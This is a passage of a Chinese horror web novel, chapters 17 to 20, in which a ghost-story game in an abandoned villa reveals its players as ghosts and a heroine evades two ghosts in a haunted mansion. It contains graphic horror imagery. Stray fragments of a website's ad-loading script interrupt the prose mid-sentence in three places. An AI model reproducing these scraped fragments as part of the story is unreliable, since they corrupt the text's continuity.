齐晨动动嘴唇,最终沉默地坐了回去。比起独自去面对未知的恐怖,他更愿意相信一切都是自己在疑神疑鬼。 嗯,没错,肯定是神经绷得太紧,以至于出现了幻觉……就是这样!绝对是这样!只能是这样! 不停在心里自我催眠,他故作轻松地耸耸肩:“你们都太会讲故事了,尤其是结尾的反转,吓我一跳。” “可不,平时都没看出来!”钱康凑近林奇,伸手去扒他的衣领:“你应该在脖子上画道勒痕,这样更逼真,保准能吓坏不少人。” “我没说谎。”林奇冷淡地拂开他,“我明明记得死时脖子上是有勒痕的,为什么……” “因为规则。”李郁缓缓按住胸口:“我被恶鬼拖进河里后,心脏被吃掉,身体也碎成了无数片,可你看现在——是不是很像一个活生生的人?因为,‘外形像人’是阳世的规则之一……” “你们两个,差不多够了!”王博出声打断他们:“结尾联动互cue一下就可以了,怎么还说得似模似样的?不许故意吓唬人!” “因为本来就是真的啊。”李郁再次强调:“这幢别墅连接阴世,是阴阳交汇之处,所以鬼魂可以停留。” “阴阳交汇之处?”王雪好奇地望着男朋友:“它的评判标准是什么?死过人的凶宅吗?那白家公馆不是更合适?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “确实,白家公馆也与阴世相连,但你不觉得那里太可怕了吗?”李郁的镜片反射着烛火,让人看不清他的表情:“那儿不是我们能去的,想招鬼的话,这里就足够了。” “你们在说什么呀?灵异游戏就是追寻刺激,难道不是越可怕越好吗?”钱康奇怪地看着他们,“喂,李郁,你干嘛装出一副很懂的模样?你不是和我们一样吗?” “是的,我们都一样,需要遵守相同的规则。”李郁突然转过头:“破坏规则就要接受惩罚,你认为呢,大叔?” 齐晨惊惧地看着他,嗫嚅着嘴唇没有回应。他想起了离开白家公馆前,自己与洛晚的对话: ——“既不想逃命又不怕死的话,你可以去中止委托。” ——“中止后会怎么样?有人试过吗?” ——“不知道,但大概会死吧。” “会死……”齐晨双眼发直,神经质地喃喃:“破坏规则,会死……不,不!” 他猛地扭过脸,恶狠狠地瞪着李郁:“你想表达什么?破坏规则就该死吗?放屁!” 王雪被他这副凶狠的样子吓了一跳:“大叔,你怎么了?什么死不死的……我们没有这个意思!” “是啊,我只是随口问一句,你想到哪儿去了?”李郁警惕地搂住女友,“我早就觉得你可疑,无缘无故地忽然发疯、半夜独自出现在废弃的别墅群……喂,你不会是犯了案的在逃犯吧?” “怎么可能,你们的想象力可真丰富!” 心浮气躁地敷衍一句,齐晨喝了几口水,不祥的感觉始终笼罩在心头。他烦躁地搓搓脸,后知后觉地发现客厅里静得怪异。 闪烁的烛火中,5个人全都虎视眈眈地盯着这边,面色不善。 “抱歉,我刚刚想到一件糟糕的事,一时没控制好情绪……并没有针对你们的意思。”他干巴巴地解释道,接着生硬地岔开话题:“你们继续呀,不用管我!下一个轮到谁了?” “我!”钱康狐疑地看他两眼:“反正我们有5个人,不怕对付不了你。不管你是在逃犯还是别的什么奇奇怪怪的身份,我警告你,最好别打坏主意!” “不会的,放心吧,我可是遵纪守法的好公民!”齐晨连忙保证:“再讲两个故事就结束了,你们不好奇究竟会不会招来鬼吗?” “这还用你说!”钱康颇有仪式感地清清嗓子:“等了这么久,终于轮到我了——我来讲个捉迷藏的故事……” “捉迷藏?”齐晨惊愕地扬高声音,面孔一瞬间变得雪白:“你是在哪儿听说的?你怎么会知道!” “一个鬼故事而已,你怎么一惊一乍的?”钱康被他吓了一跳,“‘捉迷藏’是很常见的题材吧?有什么不对的吗?” “……没、没有。”齐晨意识到自己反应过激,勉强露出个笑容:“你、你继续!” 除了委托者以外,不会有人知道委托内容的……只是巧合而已,他没必要害怕! 17. 百物语(五) 天边渐渐涌起阴云,月光被遮蔽,夜色愈加深重。 王博、王雪、李郁、钱康、林奇和齐晨围坐在别墅-1层的客厅里,方桌上燃烧着三支蜡烛。 “我要讲的,是小时候和朋友们玩捉迷藏的经历。”钱康坐正身体,神色认真而严肃:“我老家在农村,爸妈长年在外地打工,只有我和爷爷奶奶留在村子里。 “农村的小孩不上补课班,每天放学后,我都和小伙伴们满村疯玩。我们夏天上树掏鸟,冬天做陷阱逮麻雀,但随着年龄的增长,这些幼稚的游戏逐渐被淘汰。为了找刺激,我们把目光转向了后山。 “村子里当时仍然流行土葬,后山就是我们村的坟地。坟地是按姓氏划分的,姓钱的占一片,姓赵的占一片,外来户们自己找地方,没有亲戚孤独终老的又是另外一片。大家都认为后山晦气,平时没人往那儿去。我和交好的几个伙伴一合计,决定找天深夜去后山探险。 “第一次偷溜过去时,我们很紧张,生怕遇到什么恐怖的东西,战战兢兢地捱了一夜,可直到天亮都没有异样。我们很失望,后来又去了几次,结果全都普普通通,无事发生。时间久了,我们慢慢放下敬畏之心,越来越不把后山当回事。某一年的中元节,我们打算玩点儿有趣的,最后决定到后山去捉迷藏。” “你的爷爷奶奶不管吗?”林奇疑惑地扬起眉:“如果被大人知道,你们的屁/股会被打开花吧?” “我爷爷奶奶才不管这些。”钱康满不在乎道:“那时候的农村没什么娱乐活动,年轻人又都去大城市打工了,老人们天天太阳落山就上床,哪有精力去管孩子?我们半夜偷偷摸出去,只要不惊动村里的狗就没人发现。 “中元节是个大节,家家户户都要去后山祭祀,传说死去的亲人会在这一天夜里回家看看。为了不让活人冲撞他们,大家在这一天都睡得格外早,晚霞还没消退就上了床。我们耐着性子熬到半夜,0点时翻窗跑去后山,开始在乱坟堆里玩捉迷藏。 “后山其实并不高,只能算是个大土包。山上有树,但不多,反倒是野草十分茂密,一簇一簇的,每簇都有半人高。我们用手心手背分出了‘鬼’,其他人则要躲在山上。鬼会在山下等半分钟,半分钟后上山去找人。” 钱康停顿了几秒,眉头微皱,神情有些困惑:“我从小就是孩子王,玩游戏从来没输过。为了不让鬼找到,我特地爬到山顶,蹲在了一簇草丛里。我还记得那一夜的风很冷,我等啊等、等啊等,直到月亮下去、太阳升起来,也没人来找我。 “我又困又饿,天亮后拖着疲惫的身体下山,一路上却没人和我打招呼,往常见到我就搭话的叔叔婶婶们全都很冷漠。和我一起捉迷藏的伙伴们似乎暴露了,他们一个个的眼圈发红,被家长押着来到我家,爷爷奶奶看上去也很悲痛。” 随着他的讲述,齐晨慢慢猜到了什么,表情逐渐变得惊恐。他浑身发冷地缩在沙发上,而斜对面,钱康的故事仍在继续:“……我觉得非常奇怪,为什么没人理我呢?他们全像没看到我一样。后来我参加高考,离开了村子,认识了你们,来到这里,但时至今日,我依然对这件事耿耿于怀。” 他惆怅地叹口气:“也不知道能不能让爷爷奶奶再见我一面。” “你、你这是什么意思?”齐晨终于抑制不住,声音发颤地问了出来。他知道自己应该沉住气,表现得正常点,仿佛什么都没察觉,可他既不是洛晚也不是王彬,实在无法镇定自若地与鬼对话:“你到底是人,还是……还是……” “还是——鬼?” 钱康低下头凑近蜡烛,阴森森地冲他笑了一下。他“呼”地一口将烛火吹灭,静默片刻后哈哈大笑:“不是吧大叔,你真信了?你也太好骗了吧!哈哈哈……” 齐晨紧张地盯着他,并没因此而放松警惕:“把话说清楚,你究竟是人还是……是人还是鬼!看着我的眼睛,快点儿,我没在和你开玩笑!” “你说我是人还是鬼!”钱康没好气地瞪他一眼,打开手电对准自己的脸:“看到了吗?好好看清楚——” 他态度坦诚,姿态大方,齐晨仔细地观察了一会儿,总算是把心放下一半:“你们这些学生啊……古人说‘敬鬼神而远之’不是没道理的,下次别再玩这种游戏了。” “知道了知道了!”钱康敷衍地答应着,屏住呼吸盯着桌面上还在燃烧的2支蜡烛。 此刻正是一天中温度最低的时候,外面哗啦啦地下起了雨,室内阴冷潮湿,不知从哪儿吹来的怪风一个劲儿地往人骨头里钻。齐晨抱紧手臂靠在沙发上,疲惫地打个呵欠:“只剩下最后一个了。” “是啊,真快。”王雪苦恼地皱起眉:“不过,我是个唯物主义者,听别人讲故事还可以,轮到自己的时候……” “喂,你不会想临阵退缩吧?”钱康不满地竖起眼睛:“依照‘百物语’的规则,最后一个讲故事的人最危险,因为谁也不清楚讲完后会发生什么。当初你说想做研究,探寻灵异游戏背后的真相,所以我们才让你最后一个来,可你现在说这话是什么意思?难道要反悔吗?” “小声点儿,注意你的态度!”李郁搂紧女朋友,神色不善地瞪他一眼:“一个破游戏而已,至于吗?” “你嘟囔什么呢?有本事再说一遍!” “说就说,这不就是个……” “诶,你们够了,难得出来玩,大家都开心点儿,别为小事伤了和气!”王博打断李郁,冲他使个眼色,笑吟吟地开口打圆场:“钱康,你看你这急脾气,小雪说不讲故事了吗?我自己的妹妹我知道,她从来不干临阵反悔的事。” 钱康气咻咻地扭过头:“这样最好!女生就是麻烦 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,切!” 王博轻咳一声,假装没听见:“李郁,你也有问题。钱康虽然脾气急但没有坏心,他就这个毛病,咱们都包容点儿,别得理不饶人!” 胳膊被女朋友扯了一下,李郁只好不情不愿地点点头:“知道了,哼,我不会和他一般见识的。” “男生就是麻烦。”王雪学着钱康的样子吐槽道:“我刚刚的话还没有说完。我是个唯物主义者,不想用假故事糊弄人,所以——就告诉你们一件真事吧。” 她弯起唇角,笑容怪异:“王博,你刚进这幢别墅的时候,是不是拿着蜡烛四处探索过?” “是啊!”王博不懂她为什么忽然问起这个:“逛到2楼卧室的时候,我和李郁在窗前看到了独自在公路上行走的大叔,认为他需要帮助,主动向他打招呼,这才把他请进来。” “嗯,没错,当时李郁正要出去找他,下楼后看到我在无聊地刷微博,于是就顺便带上了我。”王雪的笑容变大了些:“我要告诉你们的是——王雪在出去后就再也没回来。” 说完,不待众人反应,她低头吹灭了蜡烛。 偌大的客厅几乎完全陷入黑暗,只有一点烛火在微弱地跳跃。每个人的脸孔都隐在暗处,模模糊糊的,看不清表情。 许久后王博打破沉寂,声音里带着明显的后怕:“小雪,下次不许再开这种玩笑了,你把哥哥吓了一跳!” 王雪“呵呵呵”地笑了几声,没接他的话,转而道:“只剩最后一支蜡烛了。” “是啊!”钱康小心翼翼地把脸凑过去:“它也被吹灭的话,就说明鬼魂降临了——灭!倒是快点灭啊!” “这样不是很好吗?既恐怖,又安全,还体验了一把惊悚的氛围。”齐晨轻轻呼出一口气,不知不觉间出了一身冷汗,“人啊,就应该遵循趋利避害的本能。听我一句劝,你们以后还是少玩这种东西吧!” “其实也不算失败。”林奇突然笑了一下:“你们真想知道蜡烛全部熄灭后会发生什么吗?我倒是可以……” “还是我来吧!”王雪打断他,幽幽地看向王博:“哥哥,你还记得高三毕业后,我们去自驾游时发生的那场车祸吗?” “……你问这个做什么?”王博愣了愣:“我当然记得,当时你为了保护我,身体多处骨折擦伤,差点儿变成残疾人……都怪我半夜疲劳驾驶,结果发生了这种惨祸……” “不啊,哥哥,你果然忘了。”王雪黯然地垂下头:“我在那场车祸中当场死亡,至今已经快一年了。” “……不、不!”王博的目光渐渐发直,忽然痛苦地抱住头:“别说了,我的妹妹没有死,她和我一起上了大学……这不是真的!不——” 一阵夜风突然平地卷起,“呼啦”一下吹灭了最后的蜡烛。 整间客厅顿时沉入黑暗之中。 18. 百物语(六) 齐晨宛如惊弓之鸟,猛地弹跳而起,慌不择路地朝上冲。可他不熟悉这一层的格局,“砰”地撞到了柜子上,顿时眼冒金星,无力地滑坐在地。 王博被这声巨响吓了一跳,“谁!” 他打开手电照过去,发现是齐晨后松了口气:“大叔,你别乱跑呀!‘砰’地一下……是不是撞到头了?没关系吧?还能站起来吗?” 他走上前想扶起齐晨,却被对方不客气地一把推开:“别过来,别碰我,滚哪!” “……好好好,你别激动,我就站在这儿不过去。”王博好脾气地后退几步,与他保持着一段距离:“怎么样,头还疼吗?要不要叫救护车?” 齐晨捂着脑袋不停往后缩,直到现在他依然发晕,这一下撞得着实不轻:“我早该想到的……试胆大会、灵异游戏,哪有这么巧的事!你是鬼,你们都是鬼!游戏玩完了,你们也要动手了……你们想杀我,对不对!” “不,我没有……大叔,你在说什么啊!”王博被质问得满头雾水:“我们是锦安大学的一年级生,因为对灵异事件感兴趣才凑在一起,不信你问小雪……咦,小雪呢?” 他回过头,却发现身后的客厅里空无一人,沙发七扭八歪地摆放着,桌子上直挺挺地立着7根蜡烛。 “小雪、钱康、李郁、林奇,你们去哪儿了!”王博难以置信地瞪大眼,扬高声音环顾四周:“喂,别闹了,快出来——你们听到我的声音了吗?” 阴冷的夜风贴地卷过,扬起一阵白色的纸屑。齐晨晃晃脑袋,眼前终于不再发黑。他扶着柜子站起来,警惕地观察着王博,见他脸上的焦急、茫然不像作假,这才出声道:“你们是怎么认识的?” “……我们是网友。”王博第一次遇到这种怪事,惊慌之下六神无主:“钱康和我一个学院;李郁是高年级学长,小雪在实验楼里自习的时候偶遇的;林奇是大气专业的校友。我们都对灵异事件感兴趣,关注了同一个论坛。” “也就是说,你们虽然同校,但在现实里并不认识?” “是的……但我们在学校里见过面!”王博脸色煞白,眉眼间隐含恐惧:“这到底是怎么回事?难道他们真是鬼?……那三人就算了,小雪呢?她可是我的亲妹妹,小雪怎么会是鬼!” “她刚刚不是说了吗?你们在自驾游时发生车祸,她不幸地当场死亡。”齐晨见多了鬼魂,对生死十分麻木:“我虽然不清楚你为什么会遇到鬼,但……清醒一下吧,节哀顺变,你妹妹早就不在了。” “不……”王博痛苦地蹲在地上,声音里带着哭腔:“不,这不是真的……我正在做梦,一定是这样!只要一觉醒过来,一切就会恢复原样……” “随便你。”齐晨打开手电,懒得和他废话:“刚逃出白家公馆就被拉来了这儿,今晚可真是不祥……喂,小子,我要离开这个鬼地方,你也快点走吧!” “……你要去哪儿?” “不知道,先出去再说。” 楼上黑洞洞的,手电的光线被黑暗吞噬,齐晨站在楼梯口,心里发怵。他定定神,清了清嗓子,装模作样地招呼王博:“诶,这里不安全,你要不要和我一起出去?” 王博抹抹眼睛抬起脸,点点头,又摇摇头:“可是小雪还在这儿,我想见她最后一面……” “别犯傻了!”齐晨毫不留情地打断他:“人鬼殊途,无论你们曾经多要好,死后都会天然地对立。鬼是没有理智和感情的,在他们眼中,所有活人都该被诅咒,你妹妹说不定正盼着你死呢!” “呀,被发现了!” 带着笑意的女声忽然从身后响起,齐晨猛然回过头,正好与站在台阶上弯下腰的王雪对个正着。 说来也怪,他与5个人玩了这么久的游戏,却一直没记住他们的长相。在他脑中,这5人的脸就像蒙着一团雾,灰扑扑的,难以看清。 但现在,齐晨看清了—— 王雪秀丽的面孔逐渐碎裂,鲜血顺着伤口一滴滴滑落。她的左半边头骨慢慢凹陷,骨骼“咔嚓”“咔嚓”地折损错位,脖子向右扭成了直角,双眼暴凸,嘴唇咧出一个阴森的笑容。 “哥哥,好疼,我好疼……为什么死去的是我,不是你呢?来陪我吧,哥哥……” 她一步一步向下走,齐晨恐惧地连连后退:“你哥哥在那边,与我无关……不是我弄死你的,你去找他,别来找我啊……哎哟!” 脚下突然滚来一个圆乎乎的东西,齐晨没防备踩了一脚,差点儿被绊倒。 “喂,大叔,你踩坏我的眼睛了。”那东西骨碌碌地滚了一圈,正面朝上,赫然是李郁的头。此时他的脸上有个脚印,左眼被鞋跟踩得塌陷,血淋淋的,乍一看像是一团烂肉:“哎呀,我的眼睛……大叔,你踩坏了我的眼睛,赔我,快赔我……” “滚、滚开……滚啊!” 死亡的威胁激发了潜力,齐晨表情扭曲地大吼一声,推开王雪,大步逃上了楼。 他飞快地穿过一层,跑出前院,一脚踹开大门,来到了空无一人的公路上。 此刻大雨滂沱,路灯全数熄灭,天地间灰茫茫的,雨水落在地面溅起一朵朵水花。齐晨浑身被淋透,喘着粗气拼命朝前跑。雨水流进眼睛里又酸又涩,不知过去多久,他用尽了力气,双腿一软,“扑通”一声摔倒在地。 脚腕传来一阵钻心的疼,齐晨倒抽着冷气抹了把脸。红色的鬼楼早已远远抛在脑后,盘山公路向远处蜿蜒,似乎永远都没有尽头。 透过雨幕,他看到路边矗立着一幢陌生的别墅。 雨越下越大,齐晨又冷又饿,头重脚轻,身体止不住地发抖。这样下去不是办法,他甩甩头,犹豫后撑着双臂站起来,一瘸一拐地走向别墅。 他决定去里面避避雨,等到天亮再离开。 “吱呀”一声推开朽烂的半腰门,齐晨穿过废弃的前院,哆哆嗦嗦地躲到了屋檐下。通往室内的防盗门似阖非阖,他试探性地拉了一下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,铁门居然顺着他的力道缓缓开启。 齐晨惊喜又警惕,轻手轻脚地凑近门口往里看,一股混合着雨水气息的湿冷霉味立刻扑面而来。进门是个大客厅,眼下空旷寂寥,浅色的大理石地面反射着微弱的夜光,到处都铺着厚厚的灰。 他小心地走进去,“咔哒”一下关上了门。 许久后,暴雨渐歇,别墅外的半腰门忽然“吱呀”“吱呀”地凭空乱响。两扇门扉开合不断,几双黑漆漆的手印突兀地出现在木门上…… 室内。 齐晨在一楼转了一圈,然而这一层空荡荡的,连张沙发都没有。他疲惫地打个哈欠,一点点往二楼挪。此时离天亮还早,他打算找张床躺一躺,养足精神再赶路。 手机刚刚进了水,手电怎么也打不开,齐晨只能借助屏幕暗淡的微光来照明。来到2楼后,他推开离自己最近的门,一排书柜立刻出现在眼前。 这是一间书房,里面虽然没有床,但宽大的书桌后却放着一张柔软的扶手椅。齐晨懒得再去其他房间,他拖着刺痛的脚踝绕过书桌,一屁/股坐进扶手椅后,舒服地长叹一口气。 从中午一直紧张到凌晨,现在总算是放松下来,齐晨脱掉湿哒哒的衣服,抬起双腿架到书桌上,惬意地仰靠着闭上了眼。 很快,他就迷迷糊糊地进入了梦乡。 “吱呀——” 在一片死寂中,书房的门被轻轻推开,门轴发出尖细的摩擦声,一个黑漆漆的手印出现在门把上。 书桌后,齐晨不安地嚅动着嘴唇,身体一颤,猛地惊醒过来。 大概是今天受到了太多惊吓,他在睡梦中总感觉有道恶毒的视线躲在角落里注视着他。齐晨盯着天花板平复了一会儿,接着伸长手臂摁亮手机—— 1:59。 白家公馆的委托者们一定正期待着2点的钟声吧? 他怔怔地发了会儿呆,手机屏幕自动熄灭,书房再一次归于黑暗。 擅自中止委托会怎么样?他究竟会受到什么惩罚?惩罚者是人还是鬼?他……会死吗? 齐晨思绪万千,越想越害怕。他用力拍拍脸,把双腿从书桌上放下来,摁亮手机环视身周,发现桌面上放着一份旧报纸。 “大一男生于城郊别墅内离奇死亡”的硕大标题猝不及防间闯入眼帘。 齐晨皱起眉,鬼使神差地拿起报纸。标题旁边配着一张没打码的黑白照,他越看越觉得照片上的男生有些眼熟。 “xx月xx日,平安区警局接到锦安大学辅导员的报案,对方称去年刚入学的一年级生王x无故失踪,至今已有48小时。经过调查,警方最终在城郊废弃的别墅内找到了他的尸体,尸体表情惊恐,但唇畔却露出了怪异的微笑。经法医鉴定,王x是被活活吓死的…… “记者对此采访了王x的室友,他们说王x非常迷信,平日里沉迷于灵异论坛,在失踪前夕曾对人说,要与同伴去城郊废弃的别墅里玩招鬼游戏……” 19. 捉迷藏(十三) 黑暗的书房里,齐晨神色惊恐地紧攥着报纸,骨节泛白,双手微微发颤。 “王x曾说自己在灵异论坛上结识了三名网友,还与他们在校园里见过面,但据他的室友称,那三人根本就不存在,一切都是王x自己的幻想。他遭遇过一场车祸,亲生妹妹当场死亡,此后精神就不太正常,一直声称妹妹还活着…… “在王x与‘网友’见面当日,同寝室友出于担忧,悄悄尾随在后,结果发现他独自占了一张四人桌,自言自语、谈笑风生,仿佛身边还坐着其他人。除了室友外,王x的老师、家长以及诸多亲友也能证实,他的精神的确存在问题……” 报纸飘飘荡荡地从手中掉落,齐晨脱力地靠到扶手椅上,脸色煞白,背心发冷。 假的,一切都是假的,原来那些人从来就没存在过……他始终与鬼魂在一起! 齐晨惊恐地捂住脸,喉咙里发出“呜呜”的悲鸣。明明已经跑出了白家公馆和那幢见鬼的红别墅,他在此刻却依然从心底生出了一种无路可逃的绝望。 ——不,他决不能坐以待毙! 齐晨深吸一口气,眼中闪过坚毅的光。他手指发软地点开[通讯录],哆嗦着拨通了洛晚的电话。 王彬肯定不会搭理他,而洛晚……洛晚那么善良,一定不会见死不救吧? 委托还没结束,如果洛晚的手机没有调成震动,这通电话很可能暴露她的位置,给她带来危险,但他等不了了……自己不能活下去的话,还管其他人的死活干什么! “嘟——嘟——” 齐晨原本以为要等很久,可出乎意料地,对面很快就接通了。 “洛晚,求你帮帮我,只有你能救我了!”不等对方开口,他就迫不及待地求援道:“离开白家公馆后,我被几个学生拉进一幢别墅里玩灵异游戏,最后却发现他们全是鬼!怎么办,接下来我该往哪儿跑?鬼说不定正在四处找我啊!” 对面沉默着,好半天都没有声音。 “喂?洛晚,喂?”齐晨怀疑地拿开手机,屏幕上显示着通话正常:“洛晚,说话啊,你听到我的声音了吗?” “嘶——嘶嘶嘶——嘶嘶——” 对面忽然响起一阵杂乱的电流声。就在齐晨的耐心即将告罄、打算挂断电话时,一道嘶哑干枯的女声终于断断续续地从听筒里传出: “齐……晨……” 她的声音闷闷的,仿佛是直接从胸腔中发出,又像是生锈的锯子划过木头,让人产生生理性厌恶。 “找……到……你……了!” “……什么?” 齐晨满头雾水地看着手机,这才发现与他通话的根本就不是洛晚,而是“4444”!他惊恐地瞪大眼,还没来得及反应,一只惨白的手臂就从屏幕里伸出,一把将他拖进了手机里! “啪嗒”,失去了主人的手机摔到地上,电话自动挂断,屏幕的微光幽幽发亮。 一阵夜风卷过来,报纸“唰啦啦”地向后翻,最后停在了某一页。 它承接着首版“大一男生于城郊别墅内离奇死亡”的新闻,继续写道: “这次意外给锦安敲响了警钟。在处理完王x的尸体后,警方在附近继续搜查,很快又找到一具青年男尸。他死在一幢别墅2层的书房里,表情惊恐,双眼暴凸,死前似乎看到了十分惊悚的场景。经法医鉴定,他的死因为心衰……” …… 白家公馆中。 洛晚目送着齐晨离开别墅后,暗暗叹口气,转身想往身边的卧室里躲。 游戏的节奏受钟声控制,她记得王彬说过座钟在顶楼,所以才冒险爬到3楼,想到书房里亲眼看看那座钟。路过2楼时,她大着胆子挨个房间找了一圈,有惊无险地拿到一个玩偶,因此在看到齐晨被鬼抓住后,才会毫不犹豫地冲过去。 比猜测的还糟糕,一个玩偶只能封印鬼魂10秒钟,而这段时间顶多只能跑出100米。 他们刚刚闹出的动静太大,鬼魂一定会追上来,继续待在顶楼无异于等死……可惜了,难得她找到机会从1楼跑上去,下一次还不知道是什么时候…… 洛晚边想心事边往前走,冷不防额头被碰了一下。她警觉地后退两步扬起脸,一双脚晃晃悠悠地垂在半空。 她记得,顾梦瑶就脱了鞋子…… 洛晚不自觉地攥紧手指,紧张地吞了吞口水。她的视线缓缓上移,划过赤/裸的双腿和白T恤,最终定格在女孩儿恐惧至极的脸上。 ——是顾梦瑶。 她被吊在卧室门口,面朝客厅,年轻饱满的面庞此时干瘪而扭曲。她的双眼不正常地凹陷,就像雨后被狠踩了一脚的松软泥土,眼球颤巍巍地缀在其中,有一颗“啪嗒”一下掉落,骨碌碌地撞到了她的鞋尖。 洛晚及时捂住嘴,硬是把滚到唇边的尖叫吞了回去。她脸色煞白,手脚发软地继续往下跑,到达-2层后终于撑不住,顺着墙壁滑坐到地面上。 “顾梦瑶……” 她们最后一次见面正是在一楼的那间卧室里。 彼时,顾梦瑶非要跟着她,听说她打算去顶楼后急急忙忙地推开门,结果突然被一股巨力拉了出去。房门“砰”地锁紧,洛晚立刻察觉到不对,果断地搬起椅子用力砸碎落地窗,从前院绕到后院转进客厅,接着快速逃上了楼。 房间外空间宽阔,逃生路线多,她本以为顾梦瑶不会有事……如果她没去凉亭里找顾梦瑶,如果她不把顾梦瑶拉进卧室,如果在顾梦瑶被拽走后她马上砸开门…… 洛晚痛苦地捂住脸,把头抵在膝盖上深深叹了口气。几秒后她站起来,打开手电环顾四周,重新恢复了一贯的冷静。 ——现在不是发泄情绪的时候,懊恼、悔恨、自责什么的,还是等委托结束再说吧。 -2层看上去没什么变化,陈设简单又凌乱,因为之前被她翻找过一遍,所以很难从痕迹上判断是否有鬼魂来搜索过。刚才乍然看到同伴的尸体,洛晚吓了一跳,没来得及思考就往下跑,此刻情绪镇定后,她一时有些茫然。 ——接下来该怎么办? 手中还有一个玩偶,是在顶楼阳光房里带着齐晨逃命时顺手从旁边的秋千上拿的,它最多能封印鬼魂10秒钟,而眼下是1:11,距离2点的钟声还有49分 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 钟。 这49分钟该去哪儿?随着时间的推移,白家公馆将越来越危险,什么也不做的话,迟早会被找到的……说起来,除了自己外,这次的同伴还有4个人,齐晨和顾梦瑶已经出局,也不知道王彬和徐凯在哪里…… 洛晚烦躁地皱起眉,罕见地拿不定主意。她把手电固定在桌子上,无意识地贴着墙壁走来走去,在扫过斜对面的铁皮柜时,目光忽然顿住了。 五个铁皮柜安静地排成一列,柜门紧闭,铁皮上反射着模糊的光,可她明明记得……在上一次离开-2层前,她特地把所有柜子全打开了。 难道,是其他人躲到这里后关闭的? ——顾梦瑶开始时在-1层,后来上了楼就没下来过;齐晨说自己要躲在2楼,就算他撒谎,也能确定至少在0:40前没到过这里;王彬最可疑,但他经验丰富,地下室是整栋别墅中退路最少的死角,他应该不会把自己置于险境…… 洛晚快速在心里排除着可能会来到-2层又关上柜门的人,最后的结论是——没有。 即便真有其他人来过,也不会无意义地整理家具。 她脊背发冷,心脏怦怦乱跳,踯躅了几秒后,伸长手臂把玩偶举到身前,接着慢慢靠近了柜子。 她要搞清楚这排铁皮柜的秘密。 洛晚屏住呼吸,轻轻把手搭在柜门上。她还没使力,柜门却突然“砰”地从里面被撞开—— 一个没有眼白的长发女人咧开黑洞洞的嘴,猛地探出了上半身! 身体先于大脑把玩偶丢过去,洛晚转身就朝楼上跑。铁皮柜里,女鬼接触到玩偶后,前冲的动作立即顿住,张牙舞爪的长发也软趴趴地垂落在地。她的身影逐渐变淡,但几个呼吸后又凝实起来。 在洛晚跑出后院时,道具失效,玩偶消失,女鬼从柜子里迈出来,一步一步往楼上走。 “哒”“哒”“哒”…… 院子里。 洛晚蹲在墙边的荒草中紧盯着门口。这个位置不算隐蔽,很容易被发现,但却能清楚地看到客厅转角处被夜色照亮的一小块楼梯。 她紧紧捂着嘴,不敢大声呼吸。那个女鬼应该快上来了,她要验证一个想法—— 就像委托者们各有立场一样,鬼魂是不是也会相互残杀、各自为政? 这是她参加的第三个委托,却是第一次遇到存在着多个鬼魂的情况。别墅再大也只有5层,鬼的速度比人快得多,眼下的局面近乎无解,这几乎是必死之局。 那么,大胆一点,能不能利用“多个鬼魂”的条件呢? 顶楼阳光房里的明显是个男鬼,按照推算,他马上就该下楼追过来,如果时间凑巧的话,说不定能与正往上走的女鬼撞到一起…… 他们可能会合作来找她,也可能会发生意想不到的变故,为她创造生机。 洛晚的心跳渐渐变快,一下下地又重又响,但她的表情却格外沉静,反射着微弱月光的双眼就像某种匍匐在黑夜中的猫科动物,耐心而坚定。 “哒”“哒”“哒”—— 女鬼的身影终于出现在转角,她慢慢地走上来…… 20. 捉迷藏(十四) 她穿着溅有鲜血的白裙子,长发遮住了半张脸,眼睛和嘴巴黑洞洞的,断裂的小臂垂在身侧晃来晃去,肚子上还不正常地凹出了一个干涸的血窟窿。 洛晚紧张地咬着下唇,手心里潮乎乎的全是冷汗。只要女鬼稍微侧侧头,立刻就能发现她,除非…… “哒”“哒”“哒”—— 另一阵脚步声突然从楼上响起,一个手持砍刀的格子衫男鬼大步走下来! 洛晚的瞳孔骤然缩紧,她屏住呼吸,身体紧绷,随时准备着跳起逃离。 与女鬼相比,男鬼的身体很完整。他看上去不算强壮,衣裤邋遢,脚上只穿着一只鞋,脸上布满了无数道细小的伤口,就像一张张合不拢的鱼嘴。 这正是阳光房中差点儿杀死齐晨的那个男鬼。 “哒”“哒”“哒”—— 女鬼慢吞吞地往上走,长发拂过地面,拖出一串黏腻的簌簌声。 “哒”“哒”“哒”—— 男鬼提着刀往下走,鲜血顺着刀刃滴滴答答地滑落,淋出一条血路。 他们马上就要相遇了,还有三步、两步、一步…… 洛晚攥紧拳,浑身的血液似乎都凝固了。目前的局面在完美地按照预设发展,但她并没有因此而开心。 两个鬼相遇后会发生什么?若无其事地错开、相互厮杀,还是像动漫中的怪物一样,合体成一个更厉害的鬼魂? 无论最终是哪种情况,她都无法摆脱险境,一旦被发现……绝对会像顾梦瑶那样凄惨地死去! 诸多念头从脑中划过,洛晚的身体不受控制地颤抖。她狠狠咬了下舌尖,强迫自己不要多想,而不远处的客厅里,男鬼与女鬼终于在楼梯的转角相遇了。 洛晚瞪大双眼,目不转睛,生怕错漏一丝细节。只见男鬼毫不迟疑地抡起刀,狠狠将女鬼的脑袋砍了下来。拖着长发的头颅“啪嗒”一下掉到地上,骨碌碌地滚到门口,正脸朝外,表情被天光照得清清楚楚。 她的嘴角咧得更大了,看起来仿佛是在笑。 这颗头离她不过10米,洛晚死死地咬着下唇,四肢发僵。她悄悄转移重心,无声地抬起右腿想后退,哪知人头却“唰”地滚出室内,没有眼白的纯黑双瞳笔直地朝她望来! 呼吸猛地停滞,冰冷的血液向心脏逆流,洛晚脸色惨白,瞬间跌入了深沉的绝望。 ——被发现了。 她,要死了吗? 女鬼直勾勾地盯着她,像蛇一样缓缓张大嘴,黑漆漆的喉咙里顿时密密麻麻地伸出了无数只细小枯瘦的手;她的长发簌簌延伸,迅速缠上脚踝打紧死结,洛晚立刻感到一股巨力在拖着自己向后拽。 为了保持平衡,她的上半身不由自主地晃动,带得周围的草丛“哗啦啦”乱响。客厅里,原本打算进入卧室的男鬼当即扭过头,手提砍刀,大步向这边走来。 “哒”“哒”“哒”…… 